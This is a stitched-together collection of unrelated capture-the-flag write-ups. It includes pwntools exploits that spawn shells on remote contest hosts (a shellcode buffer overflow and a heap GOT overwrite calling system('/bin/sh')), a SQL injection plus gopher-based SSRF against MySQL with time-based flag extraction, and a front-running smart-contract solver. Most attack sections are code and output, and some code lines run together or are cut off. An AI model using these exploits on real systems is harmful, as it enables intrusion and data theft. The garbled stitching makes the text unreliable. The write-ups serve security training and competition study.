Know we have "p" and "h", so we can attaque the real probleme to find "m". Here I used a little script for brute foncing (I used the fact that 10**10<=r<=10**12 and 10**10<=m<=10**12 in order to find the break):``` #nc random2win.acebear.site 33337import socketimport timehote = "random2win.acebear.site"
port = 33337h=11305546770736405378819894875529407145124231011999396912086973074056791191623579252993880901245430834195596982773094Lp=2129236650498506197214865121017813676962270980934541379925587741818174020229784960110052122450619093813474017151250421361
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket.connect((hote, port))m=socket.recv(1024)m=socket.recv(1024)socket.send(str(2))m=socket.recv(1024)c=int(m.split()[-1])n=c+10**4*p*5while n<h*10**12: r=n/h m=n%h if r>=10**10 and m>=10**10 and m<=10**12: print r,m,(r*h+m)%p break n+=psocket.send(str(m))print socket.recv(1024)
print "Close"socket.close()```
So we got our flag :) |
```from pwn import *
binary = "mrrobof" #Renamed just becausechall, port = "mrrobof01.3dsctf.org", 8006e = ELF(binary)
context.log_level = "DEBUG"DEBUG = False
def getpipe(): if DEBUG: return process(binary) else: return remote(chall, port)
input_len = 0x1ff00
"""Send an example ip str + someint*0x100 + randrange(0x2,0x28)"""ip_ex = "2001:0db8:85a3:0000:0000:8a2e:0370:7334."
shellcode = asm(shellcraft.linux.sh())
"""Heh, might not be PIE after all. But there's something I missed again."""readIPs = e.symbols['readIPs'] #Again?control_eip = flat("A"*12, readIPs)
padding = "\x90"*(input_len - len(shellcode) - len(ip_ex) - len(control_eip))code = padding + shellcode
payload = ip_expayload += control_eippayload += codepayload += '\x90'*3 #Need counting byte of 0x2-0x28 to pass, last gets chopped
print "Length:", hex(len(payload))
open("payload","w").write(payload)
p = getpipe()p.sendline(payload)print p.recv()time.sleep(0.3)
if DEBUG and p.poll() == None: print p.recv()if not DEBUG: print p.recv()``` |
Indonesian
tl;drDiberikan sebuah script powershell, gunakan trik print variabel sebelum tereksukusi oleh iex, CreateScript, dll. Baca selanjutnya di Original writeup.
|
# __Sharif CTF 8__ ## _fHash_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 200 | MiKHalyCH
**Description:**
> We designed a hash function called "fHash". fHash takes a message (`M`), as well as two initialization values, designated as left (`hl`) and right (`hr`). You can find the implementation of fHash [here](fHash.py).Let `M1 = '7368617269666374'`. Notice that `fHash('7575', 'A8A8', M1) = '260c01da'`.Find `M2 ≠ M1`, as well as two initialization values `hl` and `hr`, such that `fHash(hl, hr, M2) = '260c01da'`. That is, find a [second-preimage](https://en.wikipedia.org/wiki/Preimage_attack) for `M1`.Each of `hl` and `hr` must be two bytes, while `M2` must be 8 bytes.
## Solution
As we can see, [algo](fHash.py) splits M1 into 4 blocks. We don't need to search values for all 4 iterations. Only for first.
Now our task in searching new `hl_, hr_, m` that gives same value at first iteration, as initial `hl, hr, M1[:4]`.It's easy to use [random bruteforce](solver.py) here, because we just need to get same `md5(hr_+m)[:4]`, not full collision.Then we can brute `hl_` and get new values for old hash: `hl_, hr_, m+M1[4:]`
|
# __Sharif CTF 8__ ## _DES_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 50 | MiKHalyCH
**Description:**
> See [known_plaintexts.txt](known_plaintexts.txt). There is a single unknown DES key K.All plain texts are encrypted under K, resulting in the corresponding cipher text.Can you find K?flag is SharifCTF{K},where K is a 64-bit hexadecimal value, without the 0x prefix. (K includes the parity bits.)
## Solution
There are just 2 interesting lines in [known_plaintexts.txt](known_plaintexts.txt):```ef17ae3946ebae4c -> f084cae61e607b05f084cae61e607b05 -> ef17ae3946ebae4c```Like . It means, that K is [weak](https://en.wikipedia.org/wiki/Weak_key#Weak_keys_in_DES).There are just 4 weak keys in DES. One of them is our answer. |
# __Sharif CTF 8__ ## _OSS_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 100 | MiKHalyCH
**Description:**
> In this question, you are asked to generate an OSS (Ong-Schnorr-Shamir) signature on some message, given a pair of known signatures. Further description can be found [here](pdfs/OSS_Signature.pdf).You can verify the validity of your signature using [this Python script](verify.py) locally, prior to submitting it here. Upon submitting a valid signature, you'll receive the flag.
## Solution
We have `m1` and `m2`, need to found `m1 * m2`It means, that we can use [Pollard’s Solution of OSS Equations](pdfs/Pollard.pdf) (122 page)
```pym = (m1*m2) % ns1 = (x1*x2 + k*y1*y2) % ns2 = (x1*y2 - x2*y1) % n
print(verify(public, m2, (s1, s2)))``` |
This challenge is a Web challenge from the AceBear Security Contest 2018. It is the hardest Web challenge, and has been solved by the following teams:- nụ cười mới- 玲奈ちゃんめっちゃ可愛い~♡- OpenToAll- Wild~HackXore- bi0s- rtep- FluxFingers- dcua- ASIS- XeR & his amazing friends
The challenge is a website. Its source code is available, albeit a little bitoutdated. (we will see this later). The website is an e-commerce website,specially designed for "tet".To my understanding, tet refers to the [Vietnamese New Year][]. You can registeran account and buy two presents for free.
The solution to this challenge consists of two different parts: the SQLinjection, and the flag exfiltration.
## 1. SQL injection
The website is protected against SQL injection with a hand-made method to useprepared statments.
```phpfunction addParameter($qr, $args){ if(is_null($qr)){ return; } if(strpos($qr, '%') === false ) { return; } $args = func_get_args(); array_shift($args); if(is_array($args[0]) && count($args)==1){ $args = $args[0]; } foreach($args as $arg){ if(!is_scalar($arg) && !is_null($arg)){
return; } } $qr = str_replace( "'%s'", '%s', $qr); $qr = str_replace( '"%s"', '%s', $qr); $qr = preg_replace( '|(?_re($st);}function _re($st) { if ($this->conn) { return mysqli_real_escape_string($this->conn, $st); }
return addslashes($st);}```
`addParameter($qr, $args)` takes two arguments: a string (the request), and anarray of arguments. This method uses some `func_` magic to allow an arbitraryamount of arguments. `addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", "foo", "bar")` isequivalent to`addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", ["foo", "bar"])`.
Every arguments is filtered with `mysqli_real_escape_string` or `addslashes`.There can be two kind of arguments: strings (`%s`) or floats (`%F`).
This filtering method cannot be bypassed per se. However, in the item.php file,we can see the following lines:
```php$prepare_qr = $jdb->addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s", $_GET['uid']);$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);```
Which prepares an already-prepared request... what happens if the user suppliesan argument with `[%s]`?
1. `SELECT [...] where gid=%s`2. `SELECT [...] where gid='[%s]'`3. `SELECT [...] where gid='[%s]' and user=%s`4. `PHP Warning: Wrong parameter count for vfprintf()`
Obviously, the developper did not intend a user to put "%s" in his input. So,the request bugs. I made the following script to see if I could transform thisbug to a vulnerability:
```phpaddParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s", $uid);var_dump($prepare_qr);
$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);var_dump($prepare_qr);
printf("\e[35mUsername\e[0m: %s\n", $username);```
After a few tries, we can notice that:- `%1$s` prints the 1st argument without incrementing the argument index;- `%1$s` is not `%s`, so it will not be quoted;- `%.3s` prints the 3 first characters of our argument.
Therefore, `%1$.1s` prints the first character of my **escaped** username.If my username starts with an apostrophe, my escaped username will start with abackslash. (`'` → `\'`). `%1$.1s` is equivalent to a backslash that will not beescaped.
With that in mind, it becomes easy to realize that we can escape the apostropheswith `%1$.1s'` which, after a call to `addParameter` will become `\\'`.
I registered the account `'2`, with the password `x`. I managed to exploit anUNION-based SQL injection with the following payload:`info.php?uid=%1$.1s' UNION SELECT 1, 2, 3 -- -`
## 2. Flag exfiltration
Great, now that we have an SQL injection, it's only a matter of `SELECT flagFROM flag.flag`, right?
Not so fast, our current user cannot read the flag database. According tobackup.sh, only the `fl4g_m4n4g3r` can.
Thanks to our SQL injection, we control what the `$result` array contains inthe following code:
```phpecho '<title>Verified: '.$result[0]['name'].'</title>';echo 'Product Name: '.$result[0]['name'].'';echo 'Product Description: '.$result[0]['description'].'';echo 'This product has been verified by Pepe and safe for using!';echo '';```
**Note**: the last line is actually a call to `watermark_me($result[0]['img'])`.
And the `watermark_me` function is defined as follows:
```phpfunction get_data($url) { $ch = curl_init(); $timeout = 2; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); curl_close($ch); return $data;}
function watermark_me($img){ if(preg_match('/^file/', $img)){ die("Ahihi"); } $file_content = get_data($img);
$fname = 'tmp-img-'.rand(0,9).'.tmp'; file_put_contents('/tmp/'.$fname, $file_content); while(1){ if(file_exists('/tmp/'.$fname)) break; }
$stamp = imagecreatefromjpeg('ok.jpg'); $imgPng = imagecreatefromjpeg('/tmp/'.$fname);
$marge_right = 10; $marge_bottom = 10; $sx = imagesx($stamp); $sy = imagesy($stamp);
imagecopy($imgPng, $stamp, imagesx($imgPng) - $sx - $marge_right, imagesy($imgPng) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));
if($imgPng){ @unlink('/tmp/'.$fname); //header("Content-type: image/png"); ob_start(); imagePng($imgPng); $imagedata = base64_encode(ob_get_contents());
ob_end_clean(); @imagedestroy($imgPng); return $imagedata; }else{ @unlink('/tmp/'.$fname); die("Ahihi"); }}
```
Basically, it downloads an image, and adds a watermark (`ok.jpg`).
I wrote the following script to tweak with this function:
```sh#!/bin/shreadonly SESSID=sojte4l7058tf75ii9j9v71rr4request() { exec curl -D- -g -G \ 'http://128.199.179.156/info.php' \ --header "Cookie: PHPSESSID=$SESSID" \ --data-urlencode "$1"}
URL="$1"HEX="$(echo -ne "$URL" | xxd -ps | tr -d '\n')"echo "$HEX"
request 'uid=%1$.1s'\'' UNION SELECT 1, 2, 0x'"$HEX"'-- -'```
After looking for vulns in php's source code, in particular `ext/gd` and`ext/curl`, I came accross the following statement:> libcurl currently supports the http, https, ftp, gopher, telnet, dict, file,> and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP> PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form> based upload, proxies, cookies, and user+password authentication.
Unfortunately, we cannot upload files. However, we may use the gopher protocolto send arbitrary packets to a TCP server.
[Gopher][] is an ancient protocol designed for CTF^W^W as an ancestor to HTTP.It's dead simple, as **everything you put in the URL will be sent verbatim tothe server**. No header, no body, no nothing.
The only thing to take into account are that:- The first character is not sent, so you need to add a padding chacter;- Some characters don't play nice with cURL (\0, #, ?), so they need to be URL-encoded.
Thanks to this protocol, it might be possible to send arbitrary requests to thelocal MySQL server, with the `fl4g_m4n4g3r` account.
I used the following commands to dump a basic MySQL session, and analyze it inorder to reproduce it:`# tcpdump -i lo -w out.pcap 'tcp src or dst port 3306`and`mysql -u root -h 127.0.0.1 --protocol tcp`
We will not go in the details on how the MySQL protocol works as it is out ofthe scope of this writeup. However, if you would like to know, do not waste yourtime on the [Official MySQL documentation][]. It's mostly empty. Wireshark doesa much better job.
The only way to know if our request has been executed is to make a time-basedrequest and see if it takes enough time.
I used the following script to send arbitrary SQL commands:
```php> %d) & 1", $request, 7 - $i); $request = sprintf("SLEEP(%s)", $request); $request = sprintf("SELECT %s FROM flag.flag", $request);
$t = getTime($request); $byte = ($byte << 1) | ($t > 1); printf("(%d,%d) %02X\n", $c, $i, $byte); } $flag .= chr($byte); printf("\e[31m%s\e[0m\n", $flag);}```
**Flag**: https://tinyurl.com/y9pplum3 `AceBear{Just_WP_SQLi_and_some_SSRF_tricks}`
[Vietnamese New Year]: https://en.wikipedia.org/wiki/T%E1%BA%BFt[Gopher]: https://en.wikipedia.org/wiki/Gopher_(protocol)[Official MySQL documentation]: https://dev.mysql.com/doc/dev/mysql-server/8.0.0/PAGE_PROTOCOL.html#protocol_overview |
## spock-lizard-alpha
### DescriptionYou have to "play_the_game" and win against our bot. Are you strong enough?
The victim: https://dctf.def.camp/finals-2017-lpmjksalfka/DctfChall.solThe API: alpha.dctf-f1nals-2017.def.campTransaction API: https://dctf.def.camp/finals-2017-lpmjksalfka/sample.html
*PS: I've made a cron to reset blockchain so you won't have to wait too much for minning.*
### Author: Andrei
### Stats: 400 points / 1 solver
### SolutionBased on the challenge description, you receive two APIs with some functionalities such as:- get_balance: returns the number of ETH a wallet holds- new_cold_wallet: create a wallet which can be unlocked by a password- send_money: send eth to other account- call_contract: call a function from a smart contract- get_flag: returns the flag if you solved the problem- get_victim: returns a smart contract address which is supposed to be the target for the game- play_the_game: a function that spawns a game between a victim smart contract and another player
Looking at the source code of the DctfChall.sol you can see that the smart contract is bassically a game of *rock, paper, scissor, spock, lizard*. It can be played by two players and you can choose one of the 5 options available (from 1 to 5).
The Winner player is decide based on the **getWinner()** function:```javascript function getWinner(uint8 option1, uint8 option2) internal returns (uint8) { if(option1 == option2) { return 0; }
if(option1 == 0x1) { if(option2 == 0x3 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x2) { if(option2 == 0x1 || option2 == 0x4) return 1; return 2; }
if(option1 == 0x3) { if(option2 == 0x2 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x4) { if(option2 == 0x3 || option2 == 0x1) return 1; return 2; }
if(option1 == 0x5) { if(option2 == 0x4 || option2 == 0x2) return 1; return 2; }
return 0;//should never get here}```
The goal is to make the **getFlag()** function to answer with *"this guy should receive the reward"* when is being called by the Admin Bot.
``` javascriptfunction getFlag() onlyIfIsPro public returns (string) { return 'this guy should receive the reward'; } modifier onlyIfIsPro() { require(solvedHistory[msg.sender] >= 10 && solvedHistory[msg.sender] == triesHistory[msg.sender]); _; }```As you can see above, this is going to happen only if you win 10 times in a row but never loose a game.
##### The solutionThe idea is pretty simple, we can "subscribe" to all transactions being made on the blockchain against a specific address by using the API available in the **sample.html**. ```javascript
$(document).ready(function() { client = io.connect('http://45.76.94.172:8080');
/* receive transactions based on web3.eth.subscribe('pendingTransactions') */ client.on('transaction', function(data) { console.log('transaction', data); });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});```Thus, we **can see** what other player/bot sent to the targetted smart contract and come up with an option that can secure each time our victory. The vulnerability is called [Transaction-Ordering Dependence (TOD) / Front Running](https://consensys.github.io/smart-contract-best-practices/known_attacks/#transaction-ordering-dependence-tod-front-running) and is bassically some sort of Race Condition by knowing what the contract would do based on code logics.
##### The solver```html
<html><head>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>var client;var myaddress = '0xPLAYER_ADDRESS';var mypassword = 'password for players wallet';var mytarget = '0xVICTIM_WALLET';
var winners = [ [0,0,0,0,0,0], [0,0,2,1,2,1], [0,1,0,2,1,2], [0,2,1,0,2,1], [0,1,2,1,0,2], [0,2,1,2,1,0]];
//seek for a winner based on the first player's optionfunction getWinner(option1) { for(var i=1;i<=5;i++) { if(winners[option1][i] == 2) { return i; } } return option1; //shouldn't get there}
$(document).ready(function() { client = io.connect('http://45.76.94.172:8080');
client.on('transaction', function(data) { console.log('transaction', data, data.from, myaddress); if(data.from.toLowerCase() != myaddress.toLowerCase() && data.input != '0x' && data.input.indexOf('0xf94e349d') !== -1) { var option = data.input.slice(-1); if(1 <= option && option <= 5) { winner_option = getWinner(option); console.log('sending winner option for combination: ', option, winner_option); $.post('https://alpha.dctf-f1nals-2017.def.camp/', { function:'call_contract', abi: '[{"constant":true,"inputs":[],"name":"totalinvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"solvedHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bot","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalplayers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minbet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"triesHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"play","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"player","type":"address"}],"name":"isPlaying","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"reset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"option","type":"uint8"}],"name":"choose","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"getFlag","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_minbet","type":"uint256"},{"name":"_bot","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]', address: mytarget, from: myaddress, password: mypassword, func:'choose', params:JSON.stringify([winner_option]), value:'10000000000000', type:'standard', gas:'2000000', gasPrice:0 }, function(data) { console.log(data); }); } } });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});</script>
</head><body></body></html>``` |
### unknown (tuctf 2017)
[Binary](unknown) This is reverse-engineering task worth 200 points from TUCTF_2017. I've created this tool during this ctf especially for this task (it could have been done easier via gdb scripts or some pwntools but that wouldn't be so much fun).
Let's play with it first
```$ ./unknownTry again.$ file unknownunknown: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53ec94bd1406ec6b9a28f5308a92e4d906444edb, stripped
radare2 unknown[0x00400600]> aaa[0x00400600]> s main[0x00401c02]> pd 80/ (fcn) main 210| 0x00401c02 55 push rbp| 0x00401c03 4889e5 mov rbp, rsp| 0x00401c06 4883ec20 sub rsp, 0x20| 0x00401c0a 897dec mov [rbp-0x14], edi| 0x00401c0d 488975e0 mov [rbp-0x20], rsi| 0x00401c11 837dec02 cmp dword [rbp-0x14], 0x2| ,=< 0x00401c15 7414 jz 0x401c2b| | 0x00401c17 bf761d4000 mov edi, str.Tryagain.| | 0x00401c1c e84fe9ffff call sym.imp.puts| | sym.imp.puts(unk)| | 0x00401c21 b8ffffffff mov eax, 0xffffffff| ,==< 0x00401c26 e9a7000000 jmp loc.00401cd2| |`-> 0x00401c2b 488b45e0 mov rax, [rbp-0x20]| | 0x00401c2f 4883c008 add rax, 0x8| | 0x00401c33 488b00 mov rax, [rax]| | 0x00401c36 4889c7 mov rdi, rax| | 0x00401c39 e842e9ffff call sym.imp.strlen| | sym.imp.strlen()| | ; DATA XREF from 0x00401e8c (unk)| | 0x00401c3e 8b1548020000 mov edx, [rip+0x248] ; 0x00401e8c | | 0x00401c44 89d2 mov edx, edx| | 0x00401c46 4839d0 cmp rax, rdx| ,===< 0x00401c49 7411 jz 0x401c5c| || 0x00401c4b bf811d4000 mov edi, str.Stillnope.| || 0x00401c50 e81be9ffff call sym.imp.puts| || sym.imp.puts()| || 0x00401c55 b8feffffff mov eax, 0xfffffffe| ; CODE (CALL) XREF from 0x00401cd2 (unk)| ,====< 0x00401c5a eb76 jmp loc.00401cd2| |`---> 0x00401c5c 488b45e0 mov rax, [rbp-0x20]| | | 0x00401c60 488b4008 mov rax, [rax+0x8]| | | 0x00401c64 488945f8 mov [rbp-0x8], rax| | | 0x00401c68 c745f400000. mov dword [rbp-0xc], 0x0| ,=====< 0x00401c6f eb23 jmp 0x401c94 ; (loc.00401ae1)| .-------> 0x00401c71 8b55f4 mov edx, [rbp-0xc]|- fcn.00401c94 96| | || | 0x00401c74 488b45f8 mov rax, [rbp-0x8]| | || | 0x00401c78 89d6 mov esi, edx| | || | 0x00401c7a 4889c7 mov rdi, rax| | || | 0x00401c7d e80e020000 call fcn.00401e90| | || | fcn.00401e90() ; section_end..DATA| | || | 0x00401c82 85c0 test eax, eax| |,======< 0x00401c84 740a jz 0x401c90| |||| | 0x00401c86 c705f413200. mov dword [rip+0x2013f4], 0x1| |`------> 0x00401c90 8345f401 add dword [rbp-0xc], 0x1| | | ; CODE (CALL) XREF from 0x00401c6f (unk)| | `-----> 0x00401c94 8b55f4 mov edx, [rbp-0xc]| | | | ; DATA XREF from 0x00401e8c (unk)| | | | 0x00401c97 8b05ef010000 mov eax, [rip+0x1ef] ; 0x00401e8c | | | | 0x00401c9d 39c2 cmp edx, eax| `=======< 0x00401c9f 72d0 jb 0x401c71| | | ; DATA XREF from 0x00403084 (unk)| | | 0x00401ca1 8b05dd132000 mov eax, [rip+0x2013dd] ; 0x00403084 | | | 0x00401ca7 85c0 test eax, eax| ========< 0x00401ca9 740c jz 0x401cb7| | | 0x00401cab bf8d1d4000 mov edi, str.Nope.| | | ; CODE (CALL) XREF from 0x00400570 (fcn.0040056c)| | | 0x00401cb0 e8bbe8ffff call sym.imp.puts| | | sym.imp.puts()| ========< 0x00401cb5 eb16 jmp loc.00401ccd| --------> 0x00401cb7 488b45f8 mov rax, [rbp-0x8]| | | 0x00401cbb 4889c6 mov rsi, rax| | | 0x00401cbe bf931d4000 mov edi, str.Congraztheflagiss| | | 0x00401cc3 b800000000 mov eax, 0x0| | | 0x00401cc8 e8d3e8ffff call sym.imp.printf| | | sym.imp.printf()| ; CODE (CALL) XREF from 0x00401cb5 (unk)|- loc.00401ccd 7| --------> 0x00401ccd b800000000 mov eax, 0x0| | | ; CODE (CALL) XREF from 0x00401c5a (unk)| | | ; CODE (CALL) XREF from 0x00401c26 (unk)|- loc.00401cd2 2| `-`--> 0x00401cd2 c9 leave| 0x00401cd3 c3 ret```
So this binary firstly checks if `argc != 2 and strlen(argv[1]) != 56` and in both cases it exits. Then it goes like this:
[more details on 0x401e90 insights](https://github.com/Sinkmanu/CTF/tree/master/TUCTF-2017-Unknown)
```for(int i = 0; i < 56; i++){ call 0x401e90 (i, argv[1][i]) //this function returned 0 or 1 but was quite complicated "inside" //so I've tried bruteforcing the password}
```
As we can see this is perfect example for eh.
```addr1 = 0x401c82addr2 might be 0x401c9fwe want to avoid 1 as call 0x401e90 resultsrax is the register we useand passwords has 56 characters```
```./eh unknown 0x401c82 0x401c9f 1 rax 56[7794] Password(0) = [7794] Password(1) = T[7794] Password(2) = TU[7794] Password(3) = TUC[7794] Password(4) = TUCT[7794] Password(5) = TUCTF[7794] Password(6) = TUCTF{[7794] Password(7) = TUCTF{w[7794] Password(8) = TUCTF{w3[7794] Password(9) = TUCTF{w3l[7794] Password(10) = TUCTF{w3lc[7794] Password(11) = TUCTF{w3lc0[7794] Password(12) = TUCTF{w3lc0m[7794] Password(13) = TUCTF{w3lc0m3[7794] Password(14) = TUCTF{w3lc0m3_[7794] Password(15) = TUCTF{w3lc0m3_7[7794] Password(16) = TUCTF{w3lc0m3_70[7794] Password(17) = TUCTF{w3lc0m3_70_[7794] Password(18) = TUCTF{w3lc0m3_70_7[7794] Password(19) = TUCTF{w3lc0m3_70_7u[7794] Password(20) = TUCTF{w3lc0m3_70_7uc[7794] Password(21) = TUCTF{w3lc0m3_70_7uc7[7794] Password(22) = TUCTF{w3lc0m3_70_7uc7f[7794] Password(23) = TUCTF{w3lc0m3_70_7uc7f_[7794] Password(24) = TUCTF{w3lc0m3_70_7uc7f_4[7794] Password(25) = TUCTF{w3lc0m3_70_7uc7f_4n[7794] Password(26) = TUCTF{w3lc0m3_70_7uc7f_4nd[7794] Password(27) = TUCTF{w3lc0m3_70_7uc7f_4nd_[7794] Password(28) = TUCTF{w3lc0m3_70_7uc7f_4nd_7[7794] Password(29) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h[7794] Password(30) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4[7794] Password(31) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4n[7794] Password(32) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk[7794] Password(33) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_[7794] Password(34) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y[7794] Password(35) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0[7794] Password(36) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u[7794] Password(37) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_[7794] Password(38) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f[7794] Password(39) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0[7794] Password(40) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r[7794] Password(41) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_[7794] Password(42) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p[7794] Password(43) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4[7794] Password(44) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r[7794] Password(45) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r7[7794] Password(46) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71[7794] Password(47) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c[7794] Password(48) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1[7794] Password(49) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p[7794] Password(50) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p4[7794] Password(51) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p47[7794] Password(52) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471[7794] Password(53) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n[7794] Password(54) = TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6Congraz the flag is: TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}```
It was very entertaining task. |
1. Use ROP to get arbitrary read and write primitive2. Read GOT's address to leak the address of 'read'3. Read a few bytes within the read function to get the address of 'syscall'4. Write 'syscall''s address to srand's GOT.5. Use ROP to setup execve /bin/sh and call srand.
(libc independent solution) |
## === easy heap (Pwn: 44 Solves / 100 pt) ===
```I use the following address.
0x804af80: 0x0804b000 0x00000002 0x00000060 0x00000014 ^^^^^^^^^^^^ (index = -72)```
```from pwn import *
#context(os='linux', arch='i386')#context.log_level = 'debug'
BINARY = './easy_heap'elf = ELF(BINARY)
atoi_got_addr = elf.got['atoi']
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = remote("easyheap.acebear.site", 3002) libc = ELF("./easyheap_libc.so.6")else: s = process(BINARY) libc = elf.libc
def Create(index, name): s.recvuntil("Your choice: ") s.sendline("1") s.recvuntil("Index: ") s.sendline(str(index)) s.recvuntil("Input this name: ") s.sendline(name)
def Edit(index, name): s.recvuntil("Your choice: ") s.sendline("2") s.recvuntil("Index: ") s.sendline(str(index)) s.recvuntil("Input new name: ") s.send(name)
def Delete(index): s.recvuntil("Your choice: ") s.sendline("3") s.recvuntil("Index: ") s.sendline(str(index))
def Show(index): s.recvuntil("Your choice: ") s.sendline("4") s.recvuntil("Index: ") s.sendline(str(index))
s.recvuntil("Give me your name: ")s.sendline("1111")s.recvuntil("Your age: ")s.sendline("2222")
Create(1, "AAAA")Delete(1)
Edit(-72, p32(atoi_got_addr))Show(-40)r = s.recv(0x1c)atoi_addr = u32(r[0x12:0x16])libc_base_addr = atoi_addr - libc.symbols['atoi']system_addr = libc_base_addr + libc.symbols['system']
print "atoi_addr =", hex(atoi_addr)print "libc_base_addr =", hex(libc_base_addr)print "system_addr =", hex(system_addr)
Edit(-72, p32(atoi_got_addr))Edit(-40, p32(system_addr))
s.recvuntil("Your choice: ")s.sendline("/bin/sh")
s.interactive()```
```root@kali:# python exploit.py r Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to easyheap.acebear.site on port 3002: Done[*] 'Pwn_easy_heap/easyheap_libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledatoi_addr = 0xf7e37050libc_base_addr = 0xf7e0a000system_addr = 0xf7e44940[*] Switching to interactive mode$ iduid=1000(easy_heap) gid=1000(easy_heap) groups=1000(easy_heap)$ cd /home/easy_heap$ cat flagAceBear{m4yb3_h34p_i5_3a5y_f0r_y0u}``` |
``` __ PyJail /__\ ____________| | |_|_|_|_|_|_| | |_|_|_|_|_|_|__| A@\|_|_|_|_|_|/@@Aa aaA@@@@@@@@@@@@@@@@@@@aaaA A@@@@@@@@@@@@@@@@@@@@@@@@@@A ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[!] Rule1. After 3 day, the Light will be Turned Off then you Cannot see anything.2. Cannot Use Some Special Characters in PyJail.3. For 10 days, You can enter 38 characters per day.
Can You Escape from Here ??
